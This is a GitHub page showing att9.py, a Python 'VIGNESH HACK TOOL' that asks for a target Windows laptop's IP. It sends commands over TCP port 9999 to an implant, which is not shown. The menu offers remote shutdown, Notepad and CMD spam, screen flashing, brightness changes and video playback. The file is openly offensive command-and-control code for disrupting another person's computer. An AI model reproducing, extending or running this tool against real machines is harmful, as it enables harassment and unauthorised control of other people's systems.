-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatt9.py
More file actions
85 lines (70 loc) · 3.19 KB
/
att9.py
File metadata and controls
85 lines (70 loc) · 3.19 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import socket
import os
import time
#test
GREEN = "\033[92m"
RED = "\033[91m"
BLUE = "\033[94m"
CYAN = "\033[96m"
YELLOW = "\033[93m"
BOLD = "\033[1m"
RESET = "\033[0m"
def show_banner():
os.system("clear")
print(f"""{BOLD}{CYAN}
██╗ ██╗██╗ ██████╗ ███╗ ██╗███████╗███████╗██╗ ██╗
██║ ██║██║██╔════╝ ████╗ ██║██╔════╝██╔════╝██║ ██║
██║ ██║██║██║ ███╗██╔██╗ ██║█████╗ ███████╗███████║
╚██╗ ██╔╝██║██║ ██║██║╚██╗██║██╔══╝ ╚════██║██╔══██║
╚████╔╝ ██║╚██████╔╝██║ ╚████║███████╗███████║██║ ██║
╚═══╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝╚══════╝╚═╝ ╚═╝
{YELLOW}VIGNESH HACK TOOL {RESET}
""")
def send_command(target_ip, command):
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_ip, 9999))
client.sendall(command.encode())
client.close()
print(f"{GREEN}[+] Command sent: {command}{RESET}")
except Exception as e:
print(f"{RED}[-] Error: {e}{RESET}")
def main():
show_banner()
target_ip = input(f"{BOLD}{BLUE}[*] Enter target Windows laptop IP:{RESET} ").strip()
while True:
print("\n" + "-" * 50)
print(f"{BOLD}{YELLOW}Available Commands:{RESET}")
print(f" {GREEN}[1]{RESET} Play a video")
print(f" {GREEN}[2]{RESET} Crazy Brightness")
print(f" {GREEN}[3]{RESET} Stop all hacks")
print(f" {GREEN}[4]{RESET} Shutdown PC")
print(f" {GREEN}[5]{RESET} LOL (Notepad spam)")
print(f" {GREEN}[6]{RESET} CLI Hack (CMD spam)")
print(f" {GREEN}[7]{RESET} Flash Screen")
print(f" {GREEN}[8]{RESET} Exit")
print("-" * 50)
choice = input(f"{BOLD}{CYAN}Enter choice:{RESET} ").strip()
if choice == "1":
video_path = input(f"{BOLD}{CYAN}Enter video path:{RESET} ").strip()
send_command(target_ip, f"play {video_path}")
elif choice == "2":
send_command(target_ip, "crazybrightness")
elif choice == "3":
send_command(target_ip, "stopall")
elif choice == "4":
send_command(target_ip, "shutdown")
elif choice == "5":
send_command(target_ip, "lol")
elif choice == "6":
send_command(target_ip, "clihack")
elif choice == "7":
send_command(target_ip, "flashscreen")
elif choice == "8":
print(f"{GREEN}[+] Exiting...{RESET}")
break
else:
print(f"{RED}[-] Invalid choice. Try again!{RESET}")
time.sleep(1)
if __name__ == "__main__":
main()